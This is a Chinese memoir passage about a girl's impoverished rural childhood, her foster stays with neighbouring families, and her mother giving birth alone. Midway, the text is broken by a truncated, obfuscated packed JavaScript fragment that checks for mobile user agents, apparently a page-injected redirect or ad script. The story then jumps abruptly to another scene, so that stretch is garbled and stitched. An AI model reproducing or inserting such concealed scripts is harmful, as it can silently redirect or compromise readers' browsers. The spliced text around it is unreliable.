“噢!”弟弟答应一声,又跑到大椿树跟前:“春咕咕!春咕咕!我长高来你顾出!春咕咕!春咕咕!我长高来你顾出!妈妈!这回对了吧?!” “这回对啦!”妈妈笑眯眯地说。 到了小孩服糖丸的时候,我妈妈背着弟弟带着我,去乡里的医院去给他服糖丸儿。很多妇女抱着、背着孩子,焦急地挤上前,都要求取一颗糖丸儿。人挨人,人挤人。天有些热。妈妈在人群里挤地脸红脖子粗,满头大汗。终于挤到跟前,得到了一颗糖丸儿。 “行了!行了!拿走吧!拿走吧!”发糖丸的医生说。 “俺家两个小孩儿,恁行行好!再给俺一个糖丸儿吧?”我妈妈挤在人群堆里说。 发糖丸儿的医生果然又给我妈妈一颗糖丸儿:“行了!行了!出去吧!出去吧!挤死了!热死了!” “谢谢同志!”妈妈这才心满意足地从人群里退了出来。我也高兴地吃到了从我妈妈手里递过来的糖丸儿。倒不是我知道服糖丸儿有什么用,我只是知道糖丸儿很甜,我妈妈能够给我争取一个,我就很高兴。 平时,我们是不去乡里的医院的。弟弟有时候咳嗽,妈妈就去院子前头的杨树底下,砍了杨树皮来:“熬水给他喝喝,咳嗽就好了。”妈妈说。 我妈妈自己爱唱歌,她也喜欢教我唱歌,我都不记得她教我唱了多少歌儿。这不,我妈妈又教了我一首新歌。 “手拿着月牙镰呀,割草上河南。爸爸割了一牛车,我割了一竹篮。爸爸喂大马呀,大马把头点。我拿着嫩草喂马驹,马驹只喜欢。我拿着嫩草喂马驹,马驹只喜欢。” 等我爸爸来了南乡,我妈妈跟我说:“大省儿,你唱唱儿给恁爸爸听,唱《手拿着月牙镰》。” 我知道我妈妈是在教我讨好我爸爸,让我跟我爸爸增进父女感情。可是,我总觉得我爸爸对我不冷不热地,我就是讨好他也是讨好不来的。可是,我妈妈又让我唱给他听。这就有些难为我了。 我爸爸并没有搭理我,他面无表情地干着他手里的活儿。我就背过身去,自己对着墙壁,边用手划拉着墙上的黄土,边唱:“手拿着月牙镰呀,割草上河南。爸爸割了一牛车,我割了一竹篮。爸爸喂大马呀,大马把头点。我拿着嫩草喂马驹,马驹只喜欢。我拿着嫩草喂马驹,马驹只喜欢。” 我有些拘束地唱着,不知道我爸爸有没有好好听,不知道我爸爸听了会不会高兴。他是觉得我唱的好呢,还是根本就不想听我唱呢?我不知道。对我来说,我跟我爸爸的感情,还不如歌儿里头人家父女的感情。歌儿里头的爸爸和女儿,父慈女笑,热情洋溢,充满了爱和温暖。那样的温暖是我从来就没得到过的。 爸爸来一回南乡,我们一家子就能一起吃顿团圆饭。一天早上,我爸爸妈妈在一起忙里忙外地做饭。我还在睡觉。等我醒了,还是迷迷糊糊地躺在床上,等着爸爸妈妈喊我吃饭。 我妈妈进来了一下。 “我进来挖糊豆面子。”我听到她自言自语地说。 她朝我这儿看了一眼,她看到我的腿伸在被子外头,就自言自语地说了一句:“大省怎么蹬被子的?裤子还褪下来了。”她说着把被子又给我盖上,又出去了。我闭着眼睛,没吭声儿。 我听到我妈妈问我爸爸说:“大省的裤子你给她脱的?” 我爸爸没好气地说:“我哪动她啊!” “那她裤子怎么褪下来了的?褪到小腿上了。” “我哪知道啊!”我爸爸说。我睡地迷迷糊糊的,没记得有人动我,我爸爸也不是那种人啊。我想,是我妈妈对我格外小心吧。 那时候,鸡蛋是唯一的营养品,我父母经常给我煮鸡蛋吃。我清楚地记得,爸爸妈妈都吃完饭了,他们把鸡蛋剥了给我吃。我在天井里玩,吃了满满一嘴的鸡蛋,有些噎着了,就想返回屋里,去向爸爸妈妈讨水喝。爸爸妈妈一门旁儿一个,靠着门框朝外站着。我跟她们说,我噎着了,要喝水。可是他们居然不给我倒水,也不让我进屋。 “自己把鸡蛋咽下去!”我爸爸黑着脸说。我唯一的一次撒娇就这样被阻抑了。 我记得有一个夏天,我爸爸要去洗澡,我妈妈跟他说:“你把大省带上吧,给她也洗洗。”我爸爸带着我去了庄后头的水渠边。那个水渠里的水也在哗哗地流水,那水是村里人放了来灌溉稻田的,平时,它并不这样激情地流淌。这人工的流水虽然跟荆堂的河沿不能比,但也有青青的水草和清澈的激流。难得的是,那水渠里头还卧着几块清白色的大石头。我爸爸让我站在那块石头上,他自己抄了几把水洗了洗。再给我洗。 我站在石头上,水渠里的水在哗啦哗啦地流淌。我爸爸双手并拢,抄起水渠里的水就往我身上泼。我在泼天的水幕中,猛然间被泼地睁不开眼睛,我爸爸还在往我身上泼水。我心里想,我爸爸这是在给我洗澡吗?我爸爸这是不喜欢我吧?我爸爸泼完了水,很快就带我回家了。而我,还记得那年水渠里潺潺的流水,和爸爸往我身上泼的泼天的水花。我想想我这一生,我得到的父母的爱其实很少,很粗糙。我没有得到过什么细腻的关爱。也许是因为我家太穷,也许是因为我父母有子女三个,顾不了那么多。 我爸爸买了肥猪肉炼油,弟弟在一边瞪大眼睛看着。我爸爸知道他馋,就拿来大茶缸子,到锅里盛了还没出尽油的白白的肥肥的猪肉,端给他吃。弟弟真的就端着那白白的油花花的肥猪肉一口一口地吃起来。我妈妈笑着说:“鸿雁怎么恁能吃肥肉的?他怎么能吃得下去的?”我爸爸边看着锅里翻腾的肥肉,边开心地笑着。爸爸给弟弟的笑容不一样,他给弟弟的笑容比给我的多得多,也温和的多。 因为没有什么好东西给我们吃,我妈妈就跟我爸爸一起学着人家炸油条。他们把油条炸好了,放到箢子里,当做我们的零食。我父母炸的油条根本就不像油条的样子。倒像是一个个的小胡萝卜,有的短,有的粗。可是我觉得比外面的好吃,咬一口,面面的,僵僵的,有股甜甜的面粉味和新鲜的油味儿。 一个中秋节的晚上,快吃晚饭了。爸爸妈妈把碗筷儿都端到屋门外头的石台子上,那块石台子就是我们在院子里的桌子。我睡觉才醒来,走到石台子边上,我的紫萝卜皮色的小塑料碗就在石台子上,里头倒好了半碗水。我一把端起我的小碗,“咕咚咕咚”喝下去。哪知道那碗里头装的不是水,是我爸爸倒的酒。我脑袋晕晕的,走回屋里,自己爬到床上。我喝醉了。 我妈妈在屋外头笑:“大省把你倒的酒喝了?哈哈哈哈!” 我一个人倒在床上。我们那时候不□□,叫“铺”。我倒在铺上。只觉得要地震似的,屋顶要倒过来。床要倒过来。一切都要翻,要倒。但是,我的脑袋还是清醒的。 “大省你没事儿吧?”我妈妈走进来说,“你睡会儿吧,哈!俺去吃饭去了。” 2.纪王庄、李湾儿 记忆中唯一一张全家福是我们娘儿仨儿。那时候还没有妹妹。我穿着浅蓝色的褂子,粉红色的、刚到脚踝的裤子,那是我记忆中不多的一身新衣裳。我笑眯眯地坐在一个漂亮的玩具小车里,双手扶着车把,像在开车的样子。弟弟才一两岁,穿着黄色的小褂子,蓝色的吊带裤,站在妈妈跟前,小手抓着我的车把,呆呆地望着前方。小车子本来是要给他坐的,可是因为他年纪小,不敢坐,就给我坐了。妈妈穿什么衣裳我已经忘记了,她应该穿着一件粉红的衣裳吧。爸爸没有照相,他在前面拿着一串小铃铛逗着弟弟,让他抬头朝前望。 我那件衣服也不是爸爸妈妈给我买的。而是纪王庄的纪岩喜爷爷一家子给我买的。 那天,妈妈走在前头,我手里端着一碗汤,在后头跟着,慢慢地走着,边走边低头喝一口汤。不知道从哪里窜出来一条刚生完小狗的母狗,朝我的左腿弯子上就是一大口。 我“哇”地一声哭倒在地,妈妈回身扑过来就朝老天爷磕头:“老天爷呀,你可保佑俺的孩子啊!”妈妈二十七岁生了我。我四五岁的时候,妈妈也就三十一二岁。可是那时候的爸爸妈妈早就已经带着孩子走南闯北,穿过风风雨雨,顶天立地了。妈妈为了我们受的苦,孩童时期的我记不清,说不尽,只有天知道地知道,只有她自己知道。 我当时不知道妈妈大哭,是因为狂犬病可以让人死亡。我们家太穷,负担不起医药费,或者医药费对我们家来说,是雪上加霜。好在有人认领那条咬我的母狗。是纪岩喜爷爷家里的。爷爷家里有奶奶和未出嫁的小姑。 我那时候不过四五岁。年龄太小,记忆是模糊的。只记得有人剪了狗毛,在火上燎了,煎了鸡蛋给我吃。农村人的经验,被狗咬了,用狗毛煎鸡蛋吃。纪岩喜爷爷的女儿,那个后来对我特别好的小姑,她的对象,骑着自行车,带我去医院打针,包扎。后来出于同情我们一家子,加上需要时常去医院换药之便,再加上妈妈照顾不了两个孩子。我就被寄养在纪岩喜爷爷家里。 纪岩喜爷爷给我买了一身新衣裳。等我爸爸来南乡看我的时候,我穿着那身新衣裳,去跟爸爸妈妈还有弟弟,我们一起,去照了那张没有爸爸和妹妹的全家福。 这里的生活是好的,也没有跟着爸爸妈妈需要经历的风风雨雨。可是面对陌生的环境,陌生的人,我的心里是胆怯的。在这个陌生的家里,我最爱跟着的人是小姑。爷爷跟我接触不多,奶奶时常没有太好的脸色,我不懂她的烦心事。 那个时候,我最盼望的,是爸爸能够来看我。我最害怕的,是爸爸来看我以后又得走。记得爸爸有一回来看我,我特别高兴。爸爸在屋里跟岩喜爷爷坐着说话,我来到大门外,正好奶奶回家了。 我跟她说:“我吃的煎饼卷肉,昨天剩的。” 奶奶没有好脸色地跟我说:“你除了吃,就是拉!” 我又跟她说:“俺爸爸来了。” “是吗?恁爸爸来了?”奶奶说。她赶紧去热情地接待我爸爸。 “家军来了?”她说。 “是的,婶子。”我爸爸站起身儿来说。他正在堂屋里跟岩喜爷爷一块儿坐着说话。 “哎哟!嘛坐!你跟恁大叔一块儿坐着。我去炒菜去!”奶奶说。 岩喜奶奶又炒了一盘子猪肉。岩喜爷爷跟我爸爸一块儿坐着吃饭。岩喜奶奶坐在西南角上,怀里揽着我,她给我新卷了煎饼,里头是新炒的猪肉。 “吃吧!乖孩子!就着蒜瓣儿吃。就着蒜瓣儿吃,不享地慌!”岩喜奶奶跟我说。 “恁二位老人家对俺家可打了帮驾了!”我爸爸红着眼圈儿说。这些话都是我妈妈常说的话,我怀疑是我妈妈教给他的。我爸爸很听我妈妈的话。 “哪儿的事儿!出门在外都不容易。谁还没有遇到难处的时候。等小孩儿长大了就好了!”岩喜爷爷、岩喜奶奶安慰我爸爸说。 岩喜爷爷很热情,岩喜奶奶也很亲切,我看得出来,爷爷奶奶对我们是真诚的。 我爸爸要走了,我挣命似地哭喊着要跟爸爸走,爸爸狠下心,头也不回地推着自行车朝东远远地走去。奶奶死死地抱住我,我拼命地挣扎,喊叫,用尽一个小小的生命所有的力气,去挣脱,去喊叫。我多么想跟爸爸走,可是爸爸一点都不等我。宽敞的大街上,他很快就走远了。我挣脱奶奶的怀抱,发了疯似的在大街上跑着追赶我爸爸,用我从小听来的骂街的脏话,用最难听的脏话,哭喊着骂我爸爸,提着他的大号骂我爸爸。 “宋家军!你个养汉头将的!你带我走!”我哭喊着朝着他逃走的背影叫骂着。 我多希望爸爸能够带我一起走。可是他已经走远了,只剩下白茫茫的大街。我不知道他是回小鲁村还是直接回山东,反正我是追不到了。 我知道爸爸妈妈不容易,所以我被迫寄人篱下的时候,我也只能同意。每天,看着那一张张我并不熟悉的脸,感受着我并不真正向往的热情,和那些我能够感受到的冷暖。我用没心没肺的笑,来回应奶奶那一句看似无心的讥讽,我内心何尝不想回去,可是回去遥遥无期,我只能在这里。不管人家对我多么真诚,或者多么热情,不管我吃着多么好吃的煎饼卷猪肉,可是我心里还是想要回去。 穿过三十多年的时光,我还清晰地记得那天的挣扎、那天的哭喊,那天的绝望。被狗咬的痛我不记得了,伤口恢复期有多痛,我也不记得了。但是那次跟爸爸分开的痛我记得清清楚楚。 是的,喊叫,哭骂。是的,不能分开。这就是我的风格。这就是我。这以后,在我有了孩子以后,在她因为不想挂水被被人强按着挂水而喊叫哭闹的时候,在她因为我要去上班而大哭大闹不愿意跟我分开的时候,我从来都不会怪她,责骂她。我太了解她的心情了。我也曾有过那样的时刻。我从她的哭叫里看到了另一个我。那是一个生命在呐喊啊。一个生命是可以哭叫呐喊的,我干嘛要责怪她。 时过境迁,忆起当年的情景,我仍然会痛哭流涕。如果再回到那个时候,我仍然想让爸爸带我走,只要爸爸带我走,我会毫不犹豫,一头扑过去,坐在爸爸幸福的洋车子后座上,不管前方去到哪里,只要跟爸爸妈妈在一起,在哪里都可以。 爸爸不在的日子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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爷爷又哭又笑,岩喜奶奶流着眼泪,一会儿歇斯底里地跟他吵,对抗着岩喜爷爷的风魔,一会儿又一个人低下头去,暗自伤心饮泣。她是更加无助的,她要回应岩喜爷爷的疯狂吼喝,还要独自承担女儿爱情的不幸给她带来的更大的痛苦。 岩喜爷爷和岩喜奶奶就在他家的屋门后头,哭闹了很久,他们各自都流了很多眼泪,哀号了很多次。那天,小姑不在家,我就站在屋里,看着他们旁若无人地哭闹。不知道他们还要闹多久。 后来,不知道岩喜奶奶哪句话触动了岩喜爷爷,岩喜爷爷停住了哭闹,定定地看着岩喜奶奶,岩喜奶奶也眼泪汪汪、呆呆地看着他。那一刻,他应该是想起了他们还是夫妻吧。他们年过五十了,相扶一路着实不容易。他们的暴风雨这才慢慢地消停了下去。 下午,雨过天晴,岩喜爷爷跟岩喜奶奶又和蔼可亲,相亲相爱了。 岩喜爷爷是大眼睛,双眼皮。他的皮肤被终日的劳作晒得黑黄了。他推着洋车子从外头回到家,我朝他跑过去,他一脸的热情洋溢,笑嘻嘻。他爱笑,笑的时候露出一口大白牙。岩喜爷爷是个性情中人,也是个爽快人,不然,他不会留我在他家住那么长时间。岩喜奶奶是单眼皮,她的笑容要少一些,看着要比岩喜爷爷严厉。我更喜欢岩喜爷爷。 我当时不知道他们为什么吵闹。后来,我从妈妈嘴里知道,小姑的爱情并不顺利。她的情投意合的爱人触电而死,撇下了小姑和她腹中的孩子。小姑怀念爱人,想把这个孩子生下来。纪岩喜爷爷劝她不要生下来。她年纪还小,还要为以后考虑。“没有孩子改嫁是小媳妇,带着孩子改嫁是小娘们儿。”小姑一时拿不定注意,听了纪岩喜爷爷的话,把孩子打掉了。是一个男孩儿!小姑哭地死去活来,为她苦命的爱人,为这可怜的孩子。我可怜的小姑!人说积善之家必有余庆,我的小姑为什么人生刚开始就要承受这样的苦痛。人说好人必有好报,但愿老天爷能够佑护我的小姑。 后来,我又被寄养到李湾的一个爷爷奶奶家里。爷爷是个教师,家里盖着两层小楼,条件很好。奶奶也很慈祥。小叔上大学去了,小姑带我玩。这个家条件很好,可是,我越是处在好的环境里,越是会思念自己缺吃少喝的妈妈和弟弟。我知道此时此刻,我妈妈正在艰难地抱着我弟弟,吃力而艰难地劳作。 所以,看到人家一家子坐在天井里谈天说地、欢声笑语,我就躲到他们家楼下的墙角儿里,偷偷地抹眼泪。 爷爷看到了,问我说:“大省,你怎么回事啊?” 我就背着身儿跟他说:“蜘蛛网迷了眼了。” 爷爷知道我是想家了,就跟奶奶说:“大省这小孩很聪明。”那是我第一次听人说“聪明”这个词。 那时正逢夏天,我跟着小姑一起在瓜屋子里看瓜。小姑坐在凉席上,面朝西,挥动着双臂,教我唱歌:“大冲击来个大流行,大冲击那个大流行,信天游唱给便衣警察听!”我坐在凉席的另一头,面朝东,跟着她唱。 唱罢了歌,小姑又带着我去地头的河沟子里钓龙虾。小姑钓上来一只龙虾,我去抢着玩。我的手被龙虾给扎破了,我看着我被龙虾给扎破皮的手指,借着这个好机会,流着我心里的眼泪。 池塘里开满了白色的藕花,我跟着小姑回家吃午饭了。午睡的时候,我在藕花的幻影里做着回家的梦。 夜里,奶奶带着我睡觉。我一觉醒来,梦见了弟弟,梦见弟弟把屎拉在了床上。我焦急地喊奶奶。 “奶奶!俺弟弟拉屎了,把屎拉到床上了!” 奶奶睡地迷迷糊糊的,她听了我的话,赶紧起身儿,着急地在床上摸来摸去。 她翻开毯子,到处找屎:“哪有?哪有?” 直到奶奶确定没有弟弟的屎,没有弟弟。我恍惚间才知道原来我是在做梦。我的身边哪有弟弟,哪有爹娘?一切不过是自己白日的渴望和幻想。 记不得是梦里还是哪里,爸爸用平板车拉着我们:我、妈妈,还有妈妈襁褓里的弟弟。天黑了,我们一家子行走在路上,路上车来车往。妈妈用包被子包着弟弟,手里拿着桃树枝。天晚了,我们借宿在人家家里,人家主人在屋里睡觉,我们一家四口打地铺,睡在人家天井里。半夜里,我一觉醒来,不见了爸爸妈妈,只看到人家家里影影绰绰的院落。我起身就往大街上走,去找爸爸妈妈。大街上黑漆漆的,我一个人茫茫然地往前走着,分不清是做梦还是清醒。前方有人来了,那是爸爸,我妈妈怕我醒来身边没人,特意让他来接我。我跟着爸爸一起来到医院,我妈妈抱着我弟弟在医院里,医院里聚集着很多看病的人。我弟弟得了急症,已经牙关紧闭了,旁边好心的大爷大娘都在安慰我妈妈。我妈妈坚定地说:“没事的,大爷大娘,我跟家军为孩儿没干过亏心事,老天爷不会亏待俺的”。幸而,弟弟果然脱离了危险,我一家四口继续上路。 3.我妈妈一个人在场院屋里生下了我妹妹 我妹妹快要出生的时候,我爸爸跟我没有到,因为根本就不知道。我妈妈听说,住在别人屋子里生产,对主家不好。我妈妈就背着棉被,准备了剪刀、卫生纸和红糖、鸡蛋,牵着我弟弟,一步一步地,走到了麦场里的场院屋里,准备生产。 我妈妈先抱来几把麦秸铺在地上。附近的一个场院屋里,住着一对老大爷和老大娘。 我妈妈去跟那家老大娘说:“大娘啊,我要生孩子了。麻烦你给我烧一茶缸子热水行吧?我自己带的红糖、鸡蛋,你给我打上六个荷包蛋,等我生完孩子喝。” “行!”老大娘答应了。 我妈妈再叮嘱一句:“大娘啊,鸡蛋你千万不要打散,我不喜喝鸡蛋茶,我喜吃荷包蛋。” “行!”老大娘再答应一声儿。 “谢谢你了,大娘!”我妈妈说。 我妈妈一个人把我妹妹生下来了,老大娘也把红糖鸡蛋端过来了。我妈妈端着茶缸子准备吃的时候,我三岁的弟弟在旁边眼馋地看着。我妈妈不忍心,用筷子夹一个给他。我弟弟没接住,“啪嗒”一下掉在地上。我妈妈只剩下五个荷包蛋了。 掉在地上的荷包蛋沾了土没办法吃了,我妈妈只好再给我弟弟一个:“鸿雁啊,你这回把鸡蛋拿好哈。要是再掉了,妈妈就不给你了哈!”就这样,我妈妈生产以后,只吃了四个荷包蛋。 场院屋不知道是谁家的,我妈妈在里头生了孩子,留下了生产时的脏东西。身边没有人伺候,更没有人来收拾。 她就让我弟弟看着我妹妹:“鸿雁啊,你看着恁小妹哈!妈妈把这些抱走,一会儿就回来!” “噢!”弟弟响亮地答应着。我妈妈一个人抱着脏东西,到人家麦地里扒扒土,把那些脏东西给埋了。 我弟弟看着地上“哇哇”大哭的小妹,就去麦秸垛里抽出几根麦草,去抽她。 我妈妈回来了,我弟弟就跟我妈妈说:“妈妈!这是哪儿来的小孩啊,光哭!” 我妈妈对他说:“鸿雁啊,这是恁小妹,你不能打!” “哦,这是俺小妹啊!那我不打你了!”我弟弟说。 我妈妈抱起我妹妹,扛起被子,拎着我弟弟,拖着刚生产完的身体,一步步走回到我们的小屋里。 等到我跟我爸爸去看望她们的时候,我妹妹已经是襁褓里干干净净、白白胖胖、会微笑的小娃娃了。 妈妈跟我说:“我带着笑笑喂奶,笑笑吃着奶,我困得睡着了。猛然醒来一看,笑笑睡我胳肢窝里,捂地脸都发紫了。把我吓了一跳。要是给捂死了,我怎么跟恁爸爸交代了。” 我爸爸说:“这个小孩儿恁么爱笑的。不行就叫她‘笑笑’吧。” 我妈妈说:“行!管!” 我也说:“‘笑笑’好听!” 在南乡,我妈妈不出门拾庄稼讨生活的时候,就带着我们睡觉。她一个妇道人家,孤身带着两三个孩子。屋外空无一人,屋里,家徒四壁。我弟弟我妹妹都生在那样的屋里。他们跟着妈妈一起睡觉,跟着妈妈一起吃饭,跟着妈妈一起出去玩。他们以为那就是大多数人的生活,他们以为南乡就是他们的家乡,他们那时候还不知道,他们的妈妈为什么要来到这个地方,他们更不知道,他们的妈妈为了养育他们,过着怎样的生活。 不养儿不知道父母恩。那时候,我看着我妈妈养儿育女,只觉得一切都是那么容易。直到三四十年以后,等我有了自己的孩子,等我自己给孩子擦屎刮尿,等我一个人在空寂的房间里带着孩子睡觉。我才想到,我妈妈当初带着我们三个孩子,在更加贫瘠的小屋里,面对更加贫苦的生活,她是怎么过,她得怎么过。 距离我家不足十米远的地方,是一个宽敞的大院子,和一栋新房子。里面住着小两口,和她们的两三岁的儿子征征。因为附近也没有其他的人家,他妈妈经常带着他来找我们玩。小小的男孩还不太会说话,在地上挪步,抱着一个皮球,追着玩。他的□□里吊着一个大大的小嘎嘎。妈妈说那是毛病,以后要动手术的。小小的男孩并不觉得脸红,他吊着自己的球球,追着地上的小皮球,也不觉得阻碍他玩耍。征征很小,记忆中,他的小身体就在离地不远的地方挪动,或是抱着,或是追着他的皮球。 后来的某一天,毫无征兆的,征征一家搬走了。妈妈说,可能去给征征动手术去了吧。自此以后,每逢我走在自家门前,走出离自家门前十米多远的地方,就会看见征征家红色铁皮的大门。征征一家去了哪里,我不知道。征征去了哪里,我更不知道。他们怎么不跟我们说一声,就走了呢? 夏天,我们热,冬天,头上又会生虱子。我妈妈就自己拿剪刀给我们剪头发。她把我们一个个的都给剪成光头。因为是剪刀剪的,没有那么光滑,匀称,我们的头上就是一圈圈的头发茬儿,整个脑袋跟个西瓜一样。 我跟弟弟顶着西瓜头到大街上玩儿。我弟弟还好,他本身还小,又是小男孩儿。我大一点了,又是小女孩儿。人家别的小孩儿就会觉得奇怪。 她们看着我,对着我指指点点:“你看她的头,怎么铰成这样的?真难看!跟个西瓜样!” 我回到家以后,跟我妈妈说:“妈,人家说我的头难看,跟个西瓜样!你以后别给我铰了。” 我妈妈一点都不当回事儿,她笑着说:“哪有啊!别信她们的!不难看!你看妈给你铰的多好啊!又干净又凉快!还不生虱子!你别看她们留了长辫子,一点都不干净,还光生虱子。” 我有些气恼,我问我妈妈:“那你自己怎不铰光头的?” 我妈妈笑着说:“我不是男的,我要是男的,我也铰个光头。” 傍晚的时候,我妈妈抱着我妹妹去东边树林里“秃头姥爷”那里去凉快。小树林里很是阴凉。旁边就是“秃头姥爷”的庙。“秃头姥爷”其实是土地老爷。谁家有亲人去世了,祭奠的时候,一行人披麻戴孝,排着队伍,到这里来点汤。 人家老嫲嫲也抱着个小女孩在那里凉快。那个小女孩耳朵边还有剃完头没洗掉的头发茬子。我妈妈一手抱着我妹妹,一手帮她清理耳朵后头的那些头发茬子。 “这个小孩儿是猪托生的?怎么恁么多毛的。” 我妈妈笑着跟她奶奶说。 那个孩子的奶奶说:“谁知道来你说。人家给她剃完头,也不给她清干净。我的眼睛都花了,也看不清。” 我妈妈说:“俺三个小孩儿,都是我自己给她铰的。我就自己拿剪子给她铰铰。” 那个奶奶笑着说:“自己剪地不好看,跟西瓜一样。” 我妈妈说:“小孩儿,什么好看不好看的。凉快就行。” “恁小孩儿手腕上戴的什么啊?”那个小孩儿的奶奶问。我妹妹手腕上,我妈妈拿红绳儿给她绑着几个白白的猪耳颈。 “猪耳颈。”我妈妈说,“小孩儿戴着压惊的。” “还怪好看来。你搁哪儿对付来的?” “哪儿有杀猪的,你去问人家要。拿家来,洗干净,晒干,拿红绳儿串上,给小孩儿戴着,辟邪压惊。”我妈妈说。 “庄东头儿的一个妇女跟着她本家的侄子跑了,留下了一儿一女两个孩子。”老嫲嫲说。 “是的,你说,可怜吧!姊妹俩以后怎么过了。”我妈妈说。 “两个小孩儿都十四五了,爸爸死了,娘又跑了,姊妹俩就跟着她四叔过。”老嫲嫲说。 “就是不能上学喽。把小孩儿的一辈子给毁喽。”我妈妈说。 “上什么学来!她四叔的前院儿里养了头驴,他姊妹俩儿天天背着粪箕子去割草喂驴。”老嫲嫲说。 “可怜!小丫头都十四五了,裤子破了,自己也不知道缝。我哪天看到她,把她喊来,给她缝缝。” 后来的一天,那个黑黑的有些呆呆的姑娘果然来到了我家。我妈妈让她坐在我们的被窝里。那姑娘褪下裤子,我妈妈帮她把裤子缝好。我妈妈跟她闲拉呱,那姑娘不怎么说话,只憨憨地笑。 我不是很喜欢她,我常常看到的,想起的,是她黑黑的皮肤和耳朵。不知道是天生的,还是风吹日晒的结果,她的皮肤有些黑黑的。她很憨厚,只知道干活,不怎么出来玩,更不怎么说话。我在大街上看到她,她总是背着粪箕子,她是要去割草的。我妈妈常念叨她们兄妹俩儿,觉得她们可怜。她们心眼儿不多,不怎么抬头看人,给人看到的是她们的耳朵。这让我想到跟他们一样憨厚老实且无人问津的驴子。 同样让我想到驴子的,还有老三大爷家的老三大娘。老三大爷家住在小鲁村最南头,一个土台子上。土台子下头是村里的东西路。路南就是另一个村子了。我爸爸跟老三大爷处得近,经常去他家里找他说话。老三大爷会修洋车子。他家门前就是一个修理洋车子的小铺子。老三大爷人很精明,个子也高,皮肤也白,常常戴着个鸭舌帽,穿着件乳白色的风衣。老三大爷长得并不难看。 老三大爷和老三大娘的婚姻并不正常。先前,老三大娘的丈夫去世了,留下一个儿子,叫长征。作为小叔子的老三大爷,夜里去强行逼迫老三大娘。老三大娘脑子不是很灵光,但也知道拼命反抗。反抗无果,后来他们有了小儿子,叫胜利。在他们家里,两个孩子,都叫老三大爷“三叔”。我爸爸每次去老三大爷家,老三大娘都是笑脸相迎。她的脸长长的,黑黑的,笑起来憨憨的,像个驴子。她的大儿子常常是少言寡语,她们的小儿子常常是嬉皮笑脸的。 4. “小福伦,三年揍了我十五回!” 第四章 荆堂,四面环山的小村庄 1. “小福伦,三年揍了我十五回!” 回到山东,我跟爷爷亲,奶奶很少带我,我害怕三叔,巴不得每天都看不到他,三叔也没工夫理我。三叔还没有结婚,跟着爷爷奶奶一起过,爷爷奶奶经常吵架,三叔向着奶奶。 “小福伦,三年揍了我十五回!不是人!是个畜生!天朝来有这样的吗?早知道他是个畜生!我甩到南墙上,给蚂蚁咂了,我都不生他!”爷爷常跟人这样说三叔。不知道爷爷跟三叔有多大的仇恨。听说有一回三叔相亲,人家闺女都同意了,爷爷不顾路途遥远,亲自跑到那闺女家里,跟女方的爹说了三叔三年揍了他十五回的典故,吓得对方的爹娘赶紧把亲退了。三叔到如今还是光棍。 三叔很少带我。只记得有一回,那还是我很小的时候,我坐在他的自行车后座上,他带着我去赶集,买了一塑料袋子小小的红彤彤的橘子,挂在车把上,经过家东的高岗,一路来到荆堂。三叔带着我去了一家我不认识的人的家里。他跟人打招呼,告诉人家,他带的是他大哥的孩子。 一个夏天,三叔从南大地那里带回家一个小瓜,我从来没有吃过那种小瓜,不知道是谁给三叔的。 奶奶把那个瓜拿给我吃:“吃吧,省儿,俺这是腚栽瓜。” 我问奶奶:“什么是腚栽瓜?” 三叔笑着说:“腚栽瓜,就是人家吃了瓜拉的屎变的。” 我奶奶说:“别听恁三叔的。拉的屎怎么能变成瓜呢。是瓜种长出来的。” 我拿着那个小瓜啃着,觉得真是好吃。 三叔说:“那瓜种就是人家拉出来的啊。还是腚栽瓜啊。” 我边吃边说:“三叔,你在哪儿找到的这个腚栽瓜?” 三叔说:“我在南大地垄沟那看到的。”我知道南大地那里有垄沟,南大地那里是一片平地,那是南荆堂难得的好地,种着麦子跟玉米。我薅草的时候经常去那里。那些圆滚滚的石灰垄沟里头是干的,一滴水也没有。我们这些小孩子经常爬上垄沟骑在上头,或是踩在垄沟圆滚滚的脊梁上,一步一步小心翼翼地往前走。 “娘,晌午吃什么啊?”我三叔问。 “七月十五,插鬼脑子喝。”奶奶笑嘻嘻地说。 “鬼脑子”是奶奶烧的好喝的咸汤。“鬼脑子”里头放了豆腐皮、馓子,还有酱油,好喝,只是名字不好,这么好喝的汤水,居然叫做“鬼脑子”。我奶奶烧的这种汤里头有一些焦糊的味道,这使我喝起来真地觉得里头有“鬼脑子”似的。 有一天,爷爷奶奶和三叔他们在家东高岗上那块地里忙着装山芋,我闲着没事儿,跑到旁边路上的坡上去。那里,一堆快要秃了的草棵子里,长了一棵南瓜秧,这会儿,那个小南瓜已经有一个小西瓜那么大了。我想,我跟着奶奶,没有什么来讨好她。我要是给奶奶贡献这么一个小南瓜,我奶奶应该很高兴吧。 我坐在坡上的草稞子上,看着眼前的青黄色的南瓜,今天,我决计把它带回家了。这棵南瓜不知道是谁家的,我看看四下里没人儿,旁边,只有我爷爷奶奶一家,这也给我壮了胆子。我开始琢磨着怎么不漏痕迹地把那个南瓜抱回家了。 我装作在草坡上玩的样子,有一搭没一搭地把那个南瓜的秧子给掰断了。再装模作样儿地假装玩一会儿,我开始把那个南瓜往我的衣裳前襟里头揣。没有人看到,没有人喊叫,我揣着那个南瓜跨过小路儿,很快就跑到了奶奶跟前,我成功了! “奶奶!南瓜!”我把衣裳里裹着的南瓜往我奶奶跟前一滚,那个南瓜就落在了我奶奶的眼前。 “嗨嗨!俺孙女子给俺办了菜来了!”我奶奶笑呵呵地说。 我知道我这次偷盗成功地获得了我奶奶的欢心。我的内心得到了极大的认可和鼓励。我说:“我再去看看去,看看还有吗!”我奶奶没吱声儿。我知道她在默许我去再干一票。我再一次装模作样儿的来到了那个坡上,可惜的是,那里只有那么一根南瓜秧。再也没有其他南瓜了。我看看其他的地方,我不知道哪里还有南瓜,其他地方的南瓜也没有这儿好掩藏。我只好空手而归。 这件事,等我到南乡的时候,跟我妈妈说了。 我妈妈骂我奶奶说:“老养汉!怎么惯着小孩儿偷南瓜的!你以后可不要偷人东西了,人家抓住得揍你!人家揍你,恁奶奶可没本事向你哈!老养汉!小孩儿偷人东西大人要教育!怎么能夸呢!小孩儿不能偷人东西!贼皮好穿,贼皮难扒!小孩儿从小就得教育!” 